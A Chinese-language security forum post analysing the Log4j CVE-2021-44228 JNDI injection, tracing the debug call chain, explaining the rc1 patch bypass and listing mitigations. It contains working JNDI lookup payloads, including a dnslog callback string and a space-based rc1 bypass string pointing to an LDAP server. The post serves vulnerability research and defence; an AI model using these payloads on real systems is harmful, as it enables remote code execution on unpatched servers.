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Log4jRCE漏洞分析
漏洞分析
2021年12月9日注定是个不平凡的日子,整个安全圈就像过年了一样,Log4j爆出了RCE漏洞,比之前Shiro、S2还要劲爆,堪称核弹级漏洞,百度、游戏我的世界、AirPods等相继沦陷,严重程度紧急程度不言而喻。这么严重的漏洞是如何产生的呢?
漏洞成因: ===== 当日志信息中含有`${`字符串时,程序会使用`lookup`解析字符串导致产生注入漏洞。 lookup机制提供了一种在任意位置向Log4j配置添加值的方法,支持`date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j`这些协议,攻击者可以使用特定payload构造jndi协议,造成JNDI注入,进而造成RCE漏洞 代码分析: ===== 使用唐小风的exp搭建一个demo,<https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce> 1、给logger.error()打上断点,进行debug调试 [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-ae58f8e19d9db6c8edb32da9cdd8b6854b700fa7.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-ae58f8e19d9db6c8edb32da9cdd8b6854b700fa7.png) 2、点击下一步,进入到了error:AbstractLogger (org.apache.logging.log4j.spi)中 [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-275ba27f94a82e603acb65fe12f419158df41aff.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-275ba27f94a82e603acb65fe12f419158df41aff.png) 3、跟进logIfEnabled:AbstractLogger (org.apache.logging.log4j.spi)中 [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-1da085e579aa45b7904832b3b4621d3b9cddb889.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-1da085e579aa45b7904832b3b4621d3b9cddb889.png) 这里会调用isEnabled:Logger (org.apache.logging.log4j.core)判断logger的级别 [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-d9a43cd154d9919578f406fed76440292514b392.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-d9a43cd154d9919578f406fed76440292514b392.png) 如果满足要求,会进入 logMessage:AbstractLogger(org.apache.logging.log4j.spi)中 [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-e48928877d13becfaa82a6caf7f964b84da9d114.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-e48928877d13becfaa82a6caf7f964b84da9d114.png) 这里省略一些不重要的函数调用,直接进入log中 4、LoggerConfig:logEvent(org.apache.logging.log4j.core.config) [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-23108394b4667dd16ebfcb9f997bc6598ed85a24.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-23108394b4667dd16ebfcb9f997bc6598ed85a24.png) 然后进入到 processLogEvent:LoggerConfig (org.apache.logging.log4j.core.config)中调用callAppenders [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-183c9f698ff2094cac1f5891eb5368f1b8026682.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-183c9f698ff2094cac1f5891eb5368f1b8026682.png) callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)中调用callAppender [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-5e343c1ddee79b9e6c62bf77745d520d130474fb.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-5e343c1ddee79b9e6c62bf77745d520d130474fb.png) tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config) 中调用append [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-ac7d73129ee0245ae74c2a3a467069badbd05288.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-ac7d73129ee0245ae74c2a3a467069badbd05288.png) directEncodeEvent:197AbstractOutputStreamAppender(org.apache.logging.log4j.core.appender)中调用encode [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-83647376ad56b2d069435b9d1530ce4e2d83a4dc.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-83647376ad56b2d069435b9d1530ce4e2d83a4dc.png) toText:244, PatternLayout (org.apache.logging.log4j.core.layout)中调用toSerializable [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-341da66bf36a75a75042d8d828de1b932b76ac93.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-341da66bf36a75a75042d8d828de1b932b76ac93.png) toSerializable:344,PatternLayout$PatternSerializer(org.apache.logging.log4j.core.layout)中调用format [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-b75dbe3f0b9674acaf3d5754f277bc1f52304e0f.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-b75dbe3f0b9674acaf3d5754f277bc1f52304e0f.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-a51ac6471638f597aac62c2ba460d9cc8b479480.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-a51ac6471638f597aac62c2ba460d9cc8b479480.png) 5、我们跟进到format:60, LiteralPatternConverter (org.apache.logging.log4j.core.pattern)这里是第一个关键点,我们看以下代码 ```java this.substitute = config != null && literal.contains("${"); this.substitute ? this.config.getStrSubstitutor().replace(event, this.literal) : this.literal ``` 这是一个三元表达式,需要同时满足config不为空和result包含`${`,才会运行 `this.config.getStrSubstitutor().replace(event, result)`,所以payload中要有`${`才可以 ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-dc62ba4f749e246996b97b84ec0ff76ac1385bbb.png) 继续跟进到substitute:StrSubstitutor (org.apache.logging.log4j.core.lookup) 中,可以看到匹配一些特殊字符 [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-3fdcc113b198822810b60441470d251196ae9b7b.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-3fdcc113b198822810b60441470d251196ae9b7b.png) 如果字符串中有这些字符就进行删除,我们的payload就被处理为了`jndi:ldap://h1glio.dnslog.cn/id` [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-f4484f3487209b78bceba9dc8e060ac5b149cc4d.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-f4484f3487209b78bceba9dc8e060ac5b149cc4d.png) 继续跟进 ```java protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) { StrLookup resolver = this.getVariableResolver(); return resolver == null ? null : resolver.lookup(event, variableName); } ``` 调用了 getVariableResolver:StrSubstitutor (org.apache.logging.log4j.core.lookup),该方法会根据协议来进行处理操作,支持协议有`date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j` [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-05a1d29e65e4436d78b4d617da39c86c51f27f28.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-05a1d29e65e4436d78b4d617da39c86c51f27f28.png) 然后跟进到 lookup: Interpolator (org.apache.logging.log4j.core.lookup) [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-56911146381ea6fffc59fd91443779300d7b4a7f.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-56911146381ea6fffc59fd91443779300d7b4a7f.png) 程序匹配到来jndi,就会选用Jndi Lookup进行处理.JndiLookup允许通过JNDI检索变量,默认情况下, key的前缀为 `java:comp/env /`,但如果key包含`:`,则不会添加前缀 关于lookup详情,可参考文档https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-37ec93e111e13058b029945fe4bb2f948ca1326f.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-37ec93e111e13058b029945fe4bb2f948ca1326f.png) 继续跟进,在 lookup:JndiManager (org.apache.logging.log4j.core.net) lookup:56, 中会调用 jndiManager.lookup解析请求,最终形成注入漏洞. [![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-d05dc79188b23d3291225ffd8f9dcf52617ac716.png)](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-d05dc79188b23d3291225ffd8f9dcf52617ac716.png) Bypass rc1: =========== 2021年12月06日,log4j2 发布修复包 log4j-2.15.0-rc1.jar,但是rc1存在被绕过的风险。 我们看下官方的rc2的修复包,对比rc1,我们看到是在catch下面加了return null。 其实rc1的绕过就在此处,想办法让其抛出`URISyntaxException`异常,那么代码就能进入到catch中,然后就能像未修复之前,执行lookup。 查阅资料发现`URI uri = new URI(name);`其实是将name转换为等效的 URI,任何 name实例只要遵守 RFC 2396 就可以转化为 URI,有些未严格遵守该规则的 name 将无法转化,就会抛出`URISyntaxException`异常,所以我们使用`${jndi:ldap://127.0.0.1:1389/ badClassName}`就可以绕过rc1,注意`/`与`badClassName`之间存在空格,空格的存在使得 name未遵守RFC 2396,就会抛出异常,进而执行`lookup`。 ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-03e394b57c40f8e6e53fb209fbbec2df4ada0f7d.jpg) ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-fa26b7dbd84978ea809670e28ab9ba536f173224.jpg) 应急方案: ===== ```php 可以使用waf等安全设备对${}样式的字符串进行匹配拦截; 在log4j2.ini配置中可以设置log4j2formatMsgNoLookups=True 禁止解析 JDNI; 系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true; 修改Jvm运行参数: -Dlog4j2.formatMsgNoLookups=true; ```
发表于 2021-12-15 11:13:53
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